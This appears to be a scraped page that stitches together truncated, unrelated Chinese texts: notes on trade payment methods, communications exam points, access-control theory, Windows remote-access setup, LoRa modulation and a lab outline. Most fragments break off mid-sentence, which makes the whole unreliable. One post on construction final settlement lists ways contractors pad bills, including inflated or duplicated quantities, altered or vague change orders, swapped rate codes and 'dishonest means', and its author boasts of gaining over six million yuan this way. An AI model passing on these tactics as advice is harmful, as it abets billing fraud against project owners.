国际结算从方式来分主要分为三大类别。汇款,信用证和托收。每一类还可以分为若干小类。 一.汇款使用的支付工具有不同,汇款可分为电汇,信汇和票汇三种。我们常用的是电汇(T/T)。 电汇汇款是汇款人委托银行以电报,电传,环球银行间金融电讯网络方式,指示出口地某一银行作为汇入行,解付一定金额给收款人的汇款方式。电汇是一种最快捷的汇款方式,它在收取汇费时还要加收电报费。通常用于紧急款项,或大额款项的支付,资金调拨、各种支付指示等。 一般我们采用的是30%预付款,70%见提单副本付款。(这种结算方式是基于商业信用上的)。 优点:便捷,快速,安全性比较好。对卖方比较有利。 缺点:电汇收费较高。对于买方来说,控制了其资金的流通,比较被动。尽管如此,在交易过程中还是存在风险。 风险:余款得有保障。在一般情况下,卖方这时唯一能够约束买方的就是把整套提单留在自己的手里;等到确认剩余的货款已经收到,或者确认剩余的货款的收回有一定的保障之后,才将提单寄给客户。如果在买卖合同中,双方并没有约定卖方必须什么时候将提单的正本寄给客户。所以卖方完全没有必要一拿到提单就把它寄走。如果合同规定的是其余货款在装船后 30天之内付款,所以出口商完全可以把提单先保留在自己手里,而在船的航行期间,和卖方继续联系其余货款的支付问题。等到客户把余款付出之后,卖方再把提单寄出去也不迟。但是,如果卖方对买方没有任何可以约束的,对方又没有音信的情况下,要尽可能和对方沟通,并且做好最坏的打算。 另外如果,遇上空运的情况。就很难防止风险的发生了。因为空运可以用提单副本提货。 空运到对方机场,主动权就完全掌握在对方手里了,所以这种情况下,无论如何都是要让客人先付清余款才能发货的。 另外除了以上三种汇款还有一种是货到付款。也就是记账赊销(O/A)。货到付款又可以分为售定和寄售两种。 ①售定一般用于生鲜家禽的出口。这种货物有时效性,不能托太久。所以常常是先出 货,后付款。这种风险很大。对卖方很不利。 ②寄售。直白的说就是,委托人在国外找一个受委托人,在国外帮助销售物品。售出 后,从货款中扣除佣金后全部汇交给委托人。这种也存在很大的风险,首先,货要 保证能够售出并盈利;其次,委托人要调查清楚受委托人的资信和能力。这些都是 存在风险和以外的。 二.信用证(L/C) 它是一种有条件的银行付款承诺。所以这个是基于银行信用,银行做担保的比较保险的方法。它是开证行根据买方的要求和指示向卖方开立的,在一定期限内凭规定的单据符合信用证条款,即期或在一个可以确定的将来日期,兑付一定金额的书面承诺。 所谓“带有条件”是指受益人在规定的时间内,提交规定的单据,符合信用证条款而言。 所谓“兑付”是指付款,承兑并支付或承担延期付款责任,到期付款。 对于银行而言,它处理的是单据,而不是货物,单据和货物是分离的。也就是说,如果单据都符合条款,那么银行不会在乎货物是否符合。在信用证业务中,各有关方所处理的是单据,而不是与单据所涉及的货物、服务或其他行为。银行只看单据,不看货物。 只要求受益人所提供的单据表面上与信用证条款相符合,而对于所装货物的实际情况如

通信原理期末考试复习重点总结(完整版)

《通信原理》考试重要知识点 第1章绪论 掌握内容:通信系统的基本问题与主要性能指标;模拟通信与数字通信;信息量、平均信息量、信息速率。 熟悉内容:通信系统的分类;通信方式。 了解内容:通信的概念与发展; 1.1---1.3 基本概念 1、信号:消息的电的表示形式。在电通信系统中,电信号是消息传递的物质载体。 2、消息:信息的物理表现形式。如语言、文字、数据或图像等。 3、信息:消息的内涵,即信息是消息中所包含的人们原来不知而待知的内容。 4、数字信号是一种离散的、脉冲有无的组合形式,是负载数字信息的信号。 5、模拟信号是指信号无论在时间上或是在幅度上都是连续的。 6、数字通信是用数字信号作为载体来传输消息,或用数字信号对载波进行数字调制后再传输的通信方式。它可传输电报、数字数据等数字信号,也可传输经过数字化处理的语声和图像等模拟信号。 7、模拟通信是指利用正弦波的幅度、频率或相位的变化,或者利用脉冲的幅度、宽度或位置变化来模拟原始信号,以达到通信的目的。 8、数据通信是通信技术和计算机技术相结合而产生的一种新的通信方式。 9、通信系统的一般模型

10、按照信道中传输的是模拟信号还是数字信号,可相应地把通信系统分为模拟通信系统和数字通信系统。 11、模拟通信系统是传输模拟信号的通信系统。模拟信号具有频率很低的频谱分量,一般不宜直接传输,需要把基带信号变换成其频带适合在信道中传输的频带信号,并可在接收端进行反变换。完成这种变换和反变换作用的通常是调制器和解调器。 12、数字通信系统是传输数字信号的通信系统。数字通信涉及的技术问题很多,其中主要有信源编码/译码、信道编码/译码、数字调制/解调、数字复接、同步以及加密等。 13、数字信道模型 14、通信系统的分类 1 、按通信业务分类分为话务通信和非话务通信。

访问控制技术手段

访问控制是网络安全防范和保护的主要策略,它的主要任务是保证网络资源不被非法使用和访问。它是保证网络安全最重要的核心策略之一。访问控制涉及的技术也比较广,包括入网访问控制、网络权限控制、目录级控制以及属性控制等多种手段。 入网访问控制 入网访问控制为网络访问提供了第一层访问控制。它控制哪些用户能够登录到服务器并获取网络资源,控制准许用户入网的时间和准许他们在哪台工作站入网。用户的入网访问控制可分为三个步骤:用户名的识别与验证、用户口令的识别与验证、用户账号的缺省限制检查。三道关卡中只要任何一关未过,该用户便不能进入该网络。对网络用户的用户名和口令进行验证是防止非法访问的第一道防线。为保证口令的安全性,用户口令不能显示在显示屏上,口令长度应不少于6个字符,口令字符最好是数字、字母和其他字符的混合,用户口令必须经过加密。用户还可采用一次性用户口令,也可用便携式验证器(如智能卡)来验证用户的身份。网络管理员可以控制和限制普通用户的账号使用、访问网络的时间和方式。用户账号应只有系统管理员才能建立。用户口令应是每用户访问网络所必须提交的“证件”、用户可以修改自己的口令,但系统管理员应该可以控制口令的以下几个方面的限制:最小口令长度、强制修改口令的时间间隔、口令的唯一性、口令过期失效后允许入网的宽限次数。用户名和口令验证有效之后,再进一步履行用户账号的缺省限制检查。网络应能控制用户登录入网的站点、限制用户入网的时间、限制用户入网的工作站数量。当用户对交费网络的访问“资费”用尽时,网络还应能对用户的账号加以限制,用户此时应无法进入网络访问网络资源。网络应对所有用户的访问进行审计。如果多次输入口令不正确,则认为是非法用户的入侵,应给出报警信息。 权限控制 网络的权限控制是针对网络非法操作所提出的一种安全保护措施。用户和用户组被赋予一定的权限。网络控制用户和用户组可以访问哪些目录、子目录、文件和其他资源。可以指定用户对这些文件、目录、设备能够执行哪些操作。受托者指派和继承权限屏蔽(irm)可作为两种实现方式。受托者指派控制用户和用户组如何使用网络服务器的目录、文件和设备。继承权限屏蔽相当于一个过滤器,可以限制子目录从父目录那里继承哪些权限。我们可以根据访问权限将用户分为以下几类:特殊用户(即系统管理员);一般用户,系统管理员根据他们的实际需要为他们分配操作权限;审计用户,负责网络的安全控制与资源使用情况的审计。用户对网络资源的访问权限可以用访问控制表来描述。 目录级安全控制 网络应允许控制用户对目录、文件、设备的访问。用户在目录一级指定的权限对所有文件和子目录有效,用户还可进一步指定对目录下的子目录和文件的权限。对目录和文件的访问权限一般有八种:系统管理员权限、读权限、写权限、创建权限、删除权限、修改权限、文件查找权限、访问控制权限。用户对文件或目标的有效权限取决于以下两个因素:用户的受托者指派、用户所在组的受托者指派、继承权限屏蔽取消的用户权限。一个网络管理员应当为用户指定适当的访问权限,这些访问权限控制着用户对服务器的访问。八种访问权限的有效组合可以让用户有效地完成工作,同时又能有效地控制用户对服务器资源的访问,从而加强了网络和服务器的安全性。 属性安全控制 当用文件、目录和网络设备时,网络系统管理员应给文件、目录等指定访问属性。属性安全在权限安全的基础上提供更进一步的安全性。网络上的资源都应预先标出一组安全属性。用户对网络资源的访问权限对应一张访问控制表,用以表明用户对网络资源的访问能力。属

远程访问服务器设置

远程访问服务器设置 1设置TCP/IP协议 如果安装了多种网络协议,可以通过限制远程用户使用的网络协议来控制远程客户访问的网络资源。TCP/IP是最流行的LAN协议。对于TCP/IP协议来说"还需给远程客户分配IP地址以及其他TCP/IP配置,如DNS服务器和WINS服务器、默认闷关等。打开[路由和远程访问服务]控制台,在目录树中选择相应的服务器,单击鼠标右键,从弹出的快捷菜单中选择[属性]打开属性设置对话框,切换到如图4.43所示的[IP]选项卡,设置IP选项。 1.允许远程客户使用TCP/IP协议

选中[允许基于IP的远程访问和请求拨号连接]复选框,将允许远程访问客户机使用IP协议来访问服务器。如果清除此项,使用IP协议的客户端将不能连接远程访问服务器。 2.限制远程客户访问的网络范围 如果希望基于即的远程访问客户机能够访问到远程访问服务器所连接的网络,应选中[启用IP路由]复选框,激活路由功能。如果清除该选项。使用IP协议的客户机将只能访问远程访问服务器本身的资源,而不能访问网络中的其他资源。 3.向远程客户机指派lP地址 每个通过PPP连接到Windows2000远程访问服务器的远程计算机,都会被自动提供一个IP地址。远程访问服务器获得分配给远程访问客户机的IP地址有两种方式。 通过DHCP服务器获得。 由管理员指派给远程访问服务器的静态IP地址范围。 远程访问服务器也会从获得的IP地址中留出一个自己使用。 在[IP]选项卡的[IP地址分配]区域中设置向远程客户机分配IP地址的方式和范围。 通过DHCP服务器分配IP地址 如果选择[动态主机配置协议]单选钮。将由DHCP服务器为远程客户指定IP地址。远程访问将从DHCP服务器上一次性获得10个IP 地址,如图4.44所示。远程访问服务器将从DHCP获得的第一个IP 地址留给自己使用,并且在与基于TCP/IP的远程访问客户机连接时,

LoRa调制总结

目录 1.Chirp信号 (2) 2.LoRa调制 (3) 3 LoRa调制的具体方案 (5) 3.1 数据速率 (6) 3.2调制 (6) 3.3扩频调制的数学表示 (8) LoRa调制是基于这个调制方案,但是具体的实现我还是有些谜。 (9)

1.Chirp信号 LoRa调制使用基于线性调频扩频调制(chirp Spread Spectrum,CSS)方案的调制。chirp信号是sine信号,其频率随着时间线性增加(upchirp)或随着时间线性减小(downchirp)。即chirp=cos(x(t));x(t)为时间t的二次函数。如下式所示s ( t ) = a(t) cos [θ(t)] a(t)是s(t)的包络,在(0,T)范围之外的取值为零。 这样,信号扫过的带宽B=|u|*T s(t)=a(t)cos(2*π*fc*t+ π*u*t^2+?) 这样,定义信号扫过的带宽BW=|u|*T Chirp(upchirp)信号如下所示: Chirp信号的频谱

Chirp信号的频率随时间的变化关系图。 最基础的基于 chirp信号扩频调制是upchirp代表1,downchirp代表0. 2.LoRa调制 LoRa调制信号的频率随时间变化的关系(以upchirp信号为例) LoRa调制中的每一个符号都可以表示为sine信号,频率在时间周期内变化如上图所示,fc为中心信号扫过频率范围的中心频率,频带范围为[fc-BW/2,fc+BW/2],LoRa符号持续时间为Ts,从频率范围内的某一个初始频率开始上升,到最高频率fc+BW/2,然后回落到最低频率fc-BW/2,继续开始上升,知道符号的持续时间Ts,所以在一个Ts时间内,LoRa符号的频率一定会扫过整个频带范围。符号频率的初始值可能为2^SF,SF为传播因子。(论文上有这样提

访问控制

访问控制:原理及实践 访问控制限制用户可直接进行的操作,以及代表用户的执行程序可进行的操作。通过这种方式访问控制可以阻止违反安全的活动。 Ravi S. Sandhu and Pierangela Samarati 摘要:访问控制的目的是为了限制一个合法的计算机系统用户可执行的活动和操作。访问控制限制用户可直接进行的操作,以及代表用户的执行程序可进行的操作。通过这种方式访问控制可以阻止违反安全的活动。这篇文章解释了访问控制及其与其它安全服务的关系,如身份认证、审计和管理等。然后讨论了访问矩阵模型并描述了在实际系统中实现这种访问矩阵的不同方法,最后讨论了在现行系统中普遍存在的访问控制策略以及对访问控制管理的简单思考。 访问控制和其它安全服务 在计算机系统中访问控制依靠并与其它安全服务共存。访问控制涉及限制合法用户的活动。用户或代表用户的执行程序通过请求监听器对系统中的主体执行访问控制,而监听器促进每一次访问。为了决定用户要进行的操作是否通过,请求监听器要向认证数据库发出请求。认证数据库是通过安全管理员管理和维护的。管理员在安全策略和组织的基础上设置这些认证。用户也可以修改认证数据库中的一些部分。例如,设置个人文件的访问权限、查询监听器和记录系统相关活动的日志。 图1是安全服务及其关系的逻辑图表。它不应该用字面的意思去解释。例如,后面将提到,对象经常是被请求监听器保护着存储在认证数据库中的,而不是被物理上分开的。图表对区别身份认证,访问控制,审计和管理服务的区分较为理想化,可能不如图表显示的明显。他们之间的区分被认为是必要的,但不是在每个系统中都表现得明显。 对认证和访问控制清楚区分开很重要。认证服务的责任是正确地建立用户的身份。访问控制则是假设用户的身份认证被成功核实后通过请求监听器执行访问控制。当一个合法用户通过身份认证并正确地接管了请求监听器时访问控制的作用就停止了。 读者肯定对通过提供一个认证密码登录计算机系统很熟悉。在一个网络环境中,身份认证因为许多原因而变得困难。为了冒充合法用户,只要攻击者能找到网络通道就能重放认证协议。同样,网络中的计算机需要互相认证。在此文中,我们假先设认证已成功通过,然后关注后面即将发生的。 要了解单靠访问控制也不是一个保证计算机系统安全的根本方案,这一点很重要的。审计必须贯穿于整个过程。审计控制涉及对系统中所有请求和活动的后续分析。审计要求对所有用户的登录请求和活动作后续的分析。审计控制作为阻隔入侵和分析查找可能存在的入侵行为是很有用的。最后,审计对于确定被审计者没有滥用特权也是很重要的。换句话说就是保持用户的行为是可审计的。注意,有效的审计要求有合适的身份认证。 在访问控制系统中用策略和机制来区分它们的不同。策略是决定访问的控制方式和的访问决定的产生的高层指导。机制则是执行策略的可配置的底层软硬件程序。安全研究员已经试图将访问控制机制大大地发展为独立于策略,以便可以被他们使用。为了重复使用可适合各种安全目标的机制,这是很可取的。同样的机制经常可以被用于支持安全性、完整性和可用性目标。从另一方面过来看,策略选择如此丰富以至系统执行者可以自主选择。 总之,不存在策略好坏的说法。确切的说,一改是策略提供的保护可能有多有少。不管如何,不是所有的系统都有同样的保护要求。一个系统的策略并不一定适合另外一个系统。例如,非常严格的访问控制策略在某些系统中至关重要,在一个需要灵活环境的系统中也许

竣工结算心得体会

竣工结算心得体会 目前,施工方大部分都是在最低让利后中标的,这就造成了施工方会在结算时想尽一切办法多要一点。作为建设方预算人员,通过3年多的实践,总结出了几条施工方常用的结算技巧,供大家参考。 ①、虚报工作量。认真核对工作量可以避免; ②、重复报量,重复报洽商。同一变更内容往往会有两份以上的洽商变更; ③、曲解合同条款; ④、含糊洽商部位。偶在施工单位工作时,曾利用洽商含糊不清的部位及建设单位结算人员不熟悉工地及工作态度的不认真,通过一份洽商偶多要了600多万元; ⑤、涂改洽商内容; ⑥、变换定额编号; ⑦、对于人工费取费的工程,更改定额人工费含量达到工程造价的加大; ⑧、更改预算软件自动计算的工作量,如高层建筑超高费等; ⑨、虚增工作项目; ⑩、不光明的手段。 暂时总结这几条,大家还发现或使用的技巧,希望能补充一下,以供大家学习! 做工程预算本身就是要注意以下: 1、投机;即抓住对方忽略的地方,来争取提高造价; 2、力争;即不放过任何一个可以为己方创造利润的小项目,乃至从一字多解,如做律师一样;

3、抓住对方预算员的缺点; 4、要给对方留一个开始时的好印象,必要时要让他以为我的能力不如他,也就是要多请教他,把他给捧起来。。 1、我经历的这次工程是个比较大的工程。公司成立里项目部。项目部下设工程、质量、安全、综合、经营等五个主要部门,而我所在的自然是经营部门了。其他部门就不必说了,就说经营部门,无非收支两条线。对甲方多要钱,对分包队伍,别多给钱。 2、开源节流。如何才能开源呢?工程承包签订的是总价固定的合同,当初投标时,采取了低价投标的策略,业内流行一句话“低价中标占领市场,工程索赔赢得利润”。可见,在工程进行中如何创造盈利点,是工程是否盈利的关键,这就需要各个部门的配合,树立全员经营意识。要每个人明白,我们告别父母,分别妻儿,不仅仅是来这里搞奉献来了,更重要的是来挣钱来了,如果工程赔了,干的再漂亮,也是不合格工程。 3、工程结束后,要进行竣工结算了,合同内不必说。总价承包,该多少就多少。但是,工程之外的委托、工程量签证,设备缺陷处理、索赔证据等等就该拿上桌面了,如果你没有文字性的证据或资料不全,那么,对不起,这部分活算是做义工了。

配置远程访问服务

第五章实验报告 实验任务: (1) 一、RAS+DC+PPTP (1) 1.建立共享目录发布到活动目录 (1) 2.远程客户端访问活动目录资源 (1) 二、RAS+DC+PPTP高级设置 (1) 1.设置用户通过远程访问策略拨入 (1) 2.设置远程访问策略 (1) ?限制拨入时间 (1) ?限制拨入的组 (1) ?限制验证方法 (1) ?设置加密方法 (1) 实验要求: (1) 1.完成以上实验配置 (1) 2.要求截图 (1) 实验操作过程: (2) 一、RAS+DC+PPTP (2) 1.配置路由和远程访问服务器 (2) 2.新建拨号用户 (3) 3.验证 (4) 二、RAS+DC+PPTP高级设置 (5) 1.用户拨入属性设置 (5) 2.验证 (7) 3.设置验证方法 (8) 4.设置加密方法 (9) 实验任务: 一、RAS+DC+PPTP 1.建立共享目录发布到活动目录 2.远程客户端访问活动目录资源 二、RAS+DC+PPTP高级设置 1.设置用户通过远程访问策略拨入 2.设置远程访问策略 ?限制拨入时间 ?限制拨入的组 ?限制验证方法 ?设置加密方法 实验要求: 1.完成以上实验配置 2.要求截图

实验操作过程: 一、RAS+DC+PPTP 操作步骤: 1.配置路由和远程访问服务器 配置路由和远程访问服务→远程访问(拨号域VPN)→选择“VPN”→选择外部网络 连接,如图1-1所示: 图1-1 选择“来自一个指定的地址范围”→设置地址池的范围,如图1-2所示:

图1-2 2.新建拨号用户 在RAS服务器上建立用户“shadow”并设置拨入权限,如图1-3所示:

自主访问控制综述

自主访问控制综述 摘要:访问控制是安全操作系统必备的功能之一,它的作用主要是决定谁能够访问系统,能访问系统的何种资源以及如何使用这些资源。而自主访问控制(Discretionary Access Control, DAC)则是最早的访问控制策略之一,至今已发展出多种改进的访问控制策略。本文首先从一般访问控制技术入手,介绍访问控制的基本要素和模型,以及自主访问控制的主要过程;然后介绍了包括传统DAC 策略在内的多种自主访问控制策略;接下来列举了四种自主访问控制的实现技术和他们的优劣之处;最后对自主访问控制的现状进行总结并简略介绍其发展趋势。 1自主访问控制基本概念 访问控制是指控制系统中主体(例如进程)对客体(例如文件目录等)的访问(例如读、写和执行等)。自主访问控制中主体对客体的访问权限是由客体的属主决定的,也就是说系统允许主体(客体的拥有者)可以按照自己的意愿去制定谁以何种访问模式去访问该客体。 1.1访问控制基本要素 访问控制由最基本的三要素组成: ●主体(Subject):可以对其他实体施加动作的主动实体,如用户、进程、 I/O设备等。 ●客体(Object):接受其他实体访问的被动实体,如文件、共享内存、管 道等。 ●控制策略(Control Strategy):主体对客体的操作行为集和约束条件集, 如访问矩阵、访问控制表等。 1.2访问控制基本模型 自从1969年,B. W. Lampson通过形式化表示方法运用主体、客体和访问矩阵(Access Matrix)的思想第一次对访问控制问题进行了抽象,经过多年的扩充和改造,现在已有多种访问控制模型及其变种。本文介绍的是访问控制研究中的两个基本理论模型:一是引用监控器,这是安全操作系统的基本模型,进而介绍了访问控制在安全操作系统中的地位及其与其他安全技术的关系;二是访问矩阵,这是访问控制技术最基本的抽象模型。

相关文档
最新文档